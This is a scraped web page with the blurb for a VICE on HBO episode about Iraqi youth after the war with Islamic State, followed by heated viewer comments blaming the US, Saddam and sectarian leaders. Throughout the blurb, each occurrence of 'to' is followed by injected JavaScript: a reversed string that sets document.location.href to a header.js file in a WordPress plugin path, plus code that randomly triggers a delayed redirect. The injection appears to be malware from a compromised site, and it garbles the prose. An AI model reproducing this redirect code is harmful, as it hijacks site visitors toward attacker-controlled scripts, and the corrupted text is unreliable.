The Lost Generation of Iraqi Youth, VICE on HBO, Full Episode
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Iraq has one of the world’s youngest populations and most of them grew up knowing nothing but war and chaos.
The three-year-long campaign toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defeat IS is only the latest chapter in a cycle of violence that began with the 2003 U.S.-led invasion of Iraq. After 15 years, the conflicts have left virtually every aspect of the country crippled.
Iraq used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have one of the best education systems in the Arab world, and now over a third of the kids in the country are out of school and not receiving any education at all.
When IS swept through Iraq in 2014, ultimately claiming control of a third of the country, its ranks were filled with young, disenfranchised Sunnis who were driven more by grievances with the Iraqi government than by any kind of devotion toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Islamic State’s self-proclaimed caliphate.
For the young Iraqis on the other side of the conflict, whether Sunni or Shia, it is not so different. With few opportunities in education or employment, many young men—and as we found out, many children—see enlisting with sectarian militias as the best course of action, even if it means death.
While Islamic State’s days in Iraq may be over, the conditions that gave rise toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to it haven’t changed.
VICE’s Isobel Yeung travels toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Iraq toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see how its youth see the future.
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The guys who blame it on the US are absolutely right, but not quite fine tuned enough. It was/ is the neocons, Bush, the right wing of the Republican Party. I have advocated for years that the US should cuff 'em up and send them to the Hague for war crimes trials. Those who say it is "too late" don't understand that any and everything we can do to make amends for our war crimes is better than nothing.
This is what we should have done in 2002, stand around and watch them kill each other. Keep the fire contained, so it doesn't spill out. We should never have gone after Saddam. Some Iraqis would have come after him. Instead, we get all the blame and none of the benefits.
Haider Abbadi is a religious sectarian Shia sick person who follow Ayatullah Sistani pretending to be democratic.
Iraq under Haider Abbadi is much worse than Saddam Hussein time.
God save Iraq and Iraqi people from the sectarian government of Abbadi.
I have pics of food that I cooked in class, these kids have pics of heads…
Even in war torn Iraq, they got the fridge magnets. Every one in the third world has these I swear.
it's also disgusting it that these religious leaders are telling people in their children to go out and kill acting like they don't care if anyone dies but you don't see them with guns killing each other religion is disgusting. I hope for a day when everyone is an atheist.
A proof Jesus won't do anything..
I hope the real terrorists are happy about this mess…and I'm not talking about ISIS
And this is what the So-called land of the free and home of the brave does to other countries throughout the world. Destroys them.
10:39 b4nny is that you?
Gee America did a good job of fucking up things looks like and sounds like Saddam was a good leader just like the Libyan leader was atleast they didn’t have taxes that American capitalists are smashing us with
Poor kids it is definitely America’s fault the corrupt dogs
Owww well… You killed you're own leader who tried to fix the problem, just because other countries disagree his method… You all go a strike him down. Now you all need to face shits.
Honestly….I would love to go to Iraq. The history there, alone, would be worth the trip. However, until they stop being ruled by religion, and these rich people who use religion to get others to do evil, I will never go. These clerics and these militia leaders are all wealthy people. They know that the people are broke, and use their money to get them to do things they otherwise wouldn't do. The Iraqi people need to throw these people out of their country.
Arabic is such a beautiful language…
Iraq can not prosper untill the sectarian hatred on both sides dissipates. The paranoia on both sides is unreal. I seen it with my own eyes while in Iraq in 06. We paid the Sunnis and the Shiites got angry. Untill those sectarian lines are broken down Iraq is doomed to fail
god bless your soul Saddam life under Saddam was good but the murica fucked it up
Saddam was going to make Baghdad the Tokyo of the middle east
thanks to america and its monstorous ally britain again for destroying iraq and destabilize middle east for the sake of israel …great respect to all those western democracies who are driven by only islamophobia,,,
@vice news, I'm so touched about his young man and I would like to be able to speak to him if there was a way of getting connected to him, I hope he is still alive
That's the point. These Mullas want others to fight for their ambitions not their own sons.
As a U.S. citizen, I am angry to see this. I feel for the humanitarian crisis my country is responsible for. Our political system has been compromised by “special” interests… not even Trump can fix this
Was Iraq better with sadam Hussain
inalillah wa ina illaihi raji3on
Iraq used to have one of the best education systems in the Arab world, and now over a third of the kids in the country are out of school and not receiving any education at all.
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